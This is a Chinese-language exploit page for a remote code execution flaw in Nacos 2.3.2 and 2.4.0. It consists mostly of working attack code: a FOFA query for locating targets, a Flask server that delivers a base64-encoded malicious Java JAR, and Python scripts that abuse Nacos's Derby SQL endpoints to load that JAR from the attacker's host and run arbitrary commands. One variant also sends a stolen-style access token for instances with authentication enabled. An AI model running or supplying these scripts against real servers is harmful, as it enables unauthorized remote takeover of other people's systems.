# Nacos远程代码执行漏洞 ## 影响版本 ```yaml nacos 2.3.2 nacos 2.4.0 ``` ## fofa ```yaml title="Nacos" ``` ## poc ### service.py ```python import base64 from flask import Flask, send_file,Response import config payload = b'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' app = Flask(__name__) @app.route('/download') def download_file(): data = base64.b64decode(payload) response = Response(data, mimetype="application/octet-stream") # response.headers["Content-Disposition"] = "attachment; filename=file.bin" return response if __name__ == '__main__': app.run(host="127.0.0.1", port=5000) ``` ### exp.py ```python import random import sys import requests from urllib.parse import urljoin import config # 按装订区域中的绿色按钮以运行脚本。 def exploit(target, command, service): removal_url = urljoin(target,'/nacos/v1/cs/ops/data/removal') derby_url = urljoin(target, '/nacos/v1/cs/ops/derby') for i in range(0,sys.maxsize): id = ''.join(random.sample('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',8)) post_sql = """CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)\n CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')\n CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'\n""".format(id=id,service=service); option_sql = "UPDATE ROLES SET ROLE='1' WHERE ROLE='1' AND ROLE=S_EXAMPLE_{id}('{cmd}')\n".format(id=id,cmd=command); get_sql = "select * from (select count(*) as b, S_EXAMPLE_{id}('{cmd}') as a from config_info) tmp /*ROWS FETCH NEXT*/".format(id=id,cmd=command); #get_sql = "select * from users /*ROWS FETCH NEXT*/".format(id=id,cmd=command); files = {'file': post_sql} post_resp = requests.post(url=removal_url,files=files) post_json = post_resp.json() if post_json.get('message',None) is None and post_json.get('data',None) is not None: print(post_resp.text) get_resp = requests.get(url=derby_url,params={'sql':get_sql}) print(get_resp.text) break if __name__ == '__main__': service = 'http://{host}:{port}/download'.format(host=config.server_host,port=config.server_port) target = 'http://127.0.0.1:8848' command = 'calc' target = input('请输入目录URL，默认：http://127.0.0.1:8848：') or target command = input('请输入命令，默认：calc：') or command exploit(target=target, command=command,service=service) ``` 首先运行 service.py ![image-20240715172141600](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202407151723092.png) 接着运行exp.py ![image-20240715172307594](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202407151723670.png) ## Nacos开启鉴权 可以结合弱口令或者其他漏洞获取到 `accesstoken` 后进行RCE ```python import random import sys import requests from urllib.parse import urljoin import config headers={"accesstoken":"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcyMTA1OTk4N30.fq5BNRx6wUHZSDutEqFEmSqAd3Hw6E04FBYyEWiR82g"} # 按装订区域中的绿色按钮以运行脚本。 def exploit(target, command, service): removal_url = urljoin(target,'/nacos/v1/cs/ops/data/removal') derby_url = urljoin(target, '/nacos/v1/cs/ops/derby') for i in range(0,sys.maxsize): id = ''.join(random.sample('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',8)) post_sql = """CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)\n CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')\n CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'\n""".format(id=id,service=service); option_sql = "UPDATE ROLES SET ROLE='1' WHERE ROLE='1' AND ROLE=S_EXAMPLE_{id}('{cmd}')\n".format(id=id,cmd=command); get_sql = "select * from (select count(*) as b, S_EXAMPLE_{id}('{cmd}') as a from config_info) tmp /*ROWS FETCH NEXT*/".format(id=id,cmd=command); #get_sql = "select * from users /*ROWS FETCH NEXT*/".format(id=id,cmd=command); files = {'file': post_sql} post_resp = requests.post(url=removal_url,files=files,headers=headers) post_json = post_resp.json() if post_json.get('message',None) is None and post_json.get('data',None) is not None: print(post_resp.text) get_resp = requests.get(url=derby_url,params={'sql':get_sql},headers=headers) print(get_resp.text) break if __name__ == '__main__': service = 'http://{host}:{port}/download'.format(host=config.server_host,port=config.server_port) target = 'http://127.0.0.1:8848' command = 'calc' target = input('请输入目录URL，默认：http://127.0.0.1:8848：') or target command = input('请输入命令，默认：calc：') or command exploit(target=target, command=command,service=service) ``` ## 漏洞来源 - https://github.com/ayoundzw/nacos-poc